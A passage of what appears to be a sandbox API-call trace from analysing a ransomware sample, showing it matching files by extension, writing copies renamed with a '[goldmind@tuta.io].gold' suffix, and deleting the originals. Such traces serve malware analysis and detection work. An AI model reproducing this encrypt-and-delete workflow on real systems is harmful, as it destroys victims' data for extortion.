Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.125] lstrlenW (lpString=".1cd") returned 4 [0109.125] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.126] lstrlenW (lpString=".jpg") returned 4 [0109.126] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.126] lstrlenW (lpString=".doc") returned 4 [0109.126] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.126] lstrlenW (lpString=".docx") returned 5 [0109.126] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0109.126] lstrlenW (lpString=".pdf") returned 4 [0109.126] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.126] lstrlenW (lpString=".xls") returned 4 [0109.126] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.126] lstrlenW (lpString=".xlsx") returned 5 [0109.126] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0109.126] lstrlenW (lpString=".ppt") returned 4 [0109.126] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.126] lstrlenW (lpString=".zip") returned 4 [0109.126] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.126] lstrlenW (lpString=".rar") returned 4 [0109.126] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.126] lstrlenW (lpString=".bz2") returned 4 [0109.126] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.126] lstrlenW (lpString=".7z") returned 3 [0109.126] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.126] lstrlenW (lpString=".dbf") returned 4 [0109.126] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.126] lstrlenW (lpString=".1cd") returned 4 [0109.126] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0109.126] lstrlenW (lpString=".jpg") returned 4 [0109.126] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.126] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.126] lstrlenW (lpString="J0145879.JPG") returned 12 [0109.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.127] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=35419) returned 1 [0109.127] CloseHandle (hObject=0x3b4) returned 1 [0109.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 0x20 [0109.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.128] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.128] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.129] GetLastError () returned 0x0 [0109.129] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x8a5b, lpOverlapped=0x0) returned 1 [0109.131] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x8a60, lpOverlapped=0x0) returned 1 [0109.132] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.132] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.132] SetEndOfFile (hFile=0x188) returned 1 [0109.132] CloseHandle (hObject=0x188) returned 1 [0109.132] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.132] SetEndOfFile (hFile=0x3b4) returned 1 [0109.136] CloseHandle (hObject=0x3b4) returned 1 [0109.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0109.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.138] lstrlenW (lpString=".doc") returned 4 [0109.138] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.139] lstrlenW (lpString=".docx") returned 5 [0109.139] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0109.139] lstrlenW (lpString=".pdf") returned 4 [0109.139] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".xls") returned 4 [0109.139] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".xlsx") returned 5 [0109.139] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0109.139] lstrlenW (lpString=".ppt") returned 4 [0109.139] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".zip") returned 4 [0109.139] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".rar") returned 4 [0109.139] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".bz2") returned 4 [0109.139] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.139] lstrlenW (lpString=".7z") returned 3 [0109.139] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".dbf") returned 4 [0109.139] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".1cd") returned 4 [0109.139] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".jpg") returned 4 [0109.139] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".doc") returned 4 [0109.139] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.139] lstrlenW (lpString=".docx") returned 5 [0109.139] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0109.139] lstrlenW (lpString=".pdf") returned 4 [0109.139] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".xls") returned 4 [0109.139] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".xlsx") returned 5 [0109.139] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0109.139] lstrlenW (lpString=".ppt") returned 4 [0109.139] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".zip") returned 4 [0109.139] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".rar") returned 4 [0109.139] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.139] lstrlenW (lpString=".bz2") returned 4 [0109.139] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.139] lstrlenW (lpString=".7z") returned 3 [0109.139] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".dbf") returned 4 [0109.139] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.139] lstrlenW (lpString=".1cd") returned 4 [0109.140] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0109.140] lstrlenW (lpString=".jpg") returned 4 [0109.140] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.140] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.140] lstrlenW (lpString="J0145895.JPG") returned 12 [0109.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.140] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=33958) returned 1 [0109.141] CloseHandle (hObject=0x3b4) returned 1 [0109.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 0x20 [0109.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.141] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.141] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.142] GetLastError () returned 0x0 [0109.142] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x84a6, lpOverlapped=0x0) returned 1 [0109.144] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x84b0, lpOverlapped=0x0) returned 1 [0109.145] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.145] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.145] SetEndOfFile (hFile=0x188) returned 1 [0109.145] CloseHandle (hObject=0x188) returned 1 [0109.145] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.145] SetEndOfFile (hFile=0x3b4) returned 1 [0109.147] CloseHandle (hObject=0x3b4) returned 1 [0109.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0109.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.148] lstrlenW (lpString=".doc") returned 4 [0109.148] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.148] lstrlenW (lpString=".docx") returned 5 [0109.148] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0109.148] lstrlenW (lpString=".pdf") returned 4 [0109.148] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.148] lstrlenW (lpString=".xls") returned 4 [0109.148] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.148] lstrlenW (lpString=".xlsx") returned 5 [0109.149] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0109.149] lstrlenW (lpString=".ppt") returned 4 [0109.149] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".zip") returned 4 [0109.149] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString=".rar") returned 4 [0109.149] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString=".bz2") returned 4 [0109.149] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.149] lstrlenW (lpString=".7z") returned 3 [0109.149] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".dbf") returned 4 [0109.149] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".1cd") returned 4 [0109.149] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".jpg") returned 4 [0109.149] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".doc") returned 4 [0109.149] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.149] lstrlenW (lpString=".docx") returned 5 [0109.149] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0109.149] lstrlenW (lpString=".pdf") returned 4 [0109.149] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString=".xls") returned 4 [0109.149] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString=".xlsx") returned 5 [0109.149] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0109.149] lstrlenW (lpString=".ppt") returned 4 [0109.149] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".zip") returned 4 [0109.149] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString=".rar") returned 4 [0109.149] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.149] lstrlenW (lpString=".bz2") returned 4 [0109.149] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.149] lstrlenW (lpString=".7z") returned 3 [0109.149] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".dbf") returned 4 [0109.149] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".1cd") returned 4 [0109.149] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0109.149] lstrlenW (lpString=".jpg") returned 4 [0109.149] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.150] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.150] lstrlenW (lpString="J0145904.JPG") returned 12 [0109.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.150] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=39542) returned 1 [0109.150] CloseHandle (hObject=0x3b4) returned 1 [0109.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 0x20 [0109.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.151] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.151] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.152] GetLastError () returned 0x0 [0109.152] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x9a76, lpOverlapped=0x0) returned 1 [0109.153] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0109.154] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.154] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.155] SetEndOfFile (hFile=0x188) returned 1 [0109.155] CloseHandle (hObject=0x188) returned 1 [0109.155] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.155] SetEndOfFile (hFile=0x3b4) returned 1 [0109.157] CloseHandle (hObject=0x3b4) returned 1 [0109.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString=".doc") returned 4 [0109.158] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.158] lstrlenW (lpString=".docx") returned 5 [0109.158] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0109.158] lstrlenW (lpString=".pdf") returned 4 [0109.158] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString=".xls") returned 4 [0109.158] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString=".xlsx") returned 5 [0109.158] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0109.158] lstrlenW (lpString=".ppt") returned 4 [0109.158] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString=".zip") returned 4 [0109.158] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString=".rar") returned 4 [0109.158] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString=".bz2") returned 4 [0109.158] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.158] lstrlenW (lpString=".7z") returned 3 [0109.158] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString=".dbf") returned 4 [0109.158] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString=".1cd") returned 4 [0109.158] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString=".jpg") returned 4 [0109.158] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString=".doc") returned 4 [0109.158] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.158] lstrlenW (lpString=".docx") returned 5 [0109.158] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 